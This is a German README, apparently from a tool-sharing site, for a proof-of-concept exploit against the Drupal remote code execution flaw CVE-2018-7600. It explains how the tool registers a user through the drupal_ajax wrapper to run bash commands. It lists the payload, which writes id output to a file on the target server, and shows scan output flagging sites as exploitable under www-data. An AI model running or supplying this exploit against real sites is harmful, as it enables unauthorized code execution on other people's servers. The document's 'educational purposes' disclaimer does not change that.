Proof-of-Concept für CVE-2018-7600 / SA-CORE-2018-002 codebeat badge

Drupal vor Version 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 erlaubt es entfernten Angreifern, beliebigen Code auszuführen, aufgrund eines Problems, das mehrere Subsysteme mit Standard- oder häufigen Modulkonfigurationen betrifft.

Funktionsweise

1. Es sendet ein Paket an den drupal_ajax-Wrapper, um einen Benutzer zu registrieren. Ermöglicht dem Benutzer, das exec-Markup zu verwenden und Bash auszuführen. Dieser PoC sendet den Benutzernamen und die ID an abcde.txt.

   root@kitploit:~

   echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
   

2. Überprüft http*://example.com/abcde.txt

   root@kitploit:~

   [!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
   [?] Enter file name (example: /root/file/hosts.txt): hosts.txt
   [+] https://example.com/ Possibly exploitable
   [~] Checking... https://example.com/abcde.text
   [+] https://example.com/ Exploitable
   [+] UID: 33 Name: www-data
   [+] Deleting... https://example.com/abcde.text
   

Payloads

%s = Dateiname

Payload für Benutzer-ID, PID und Gruppe

echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s

Danke an

• Danke an Vitalii Rudnykh

Nur zu Bildungs- oder Informationszwecken bereitgestellt.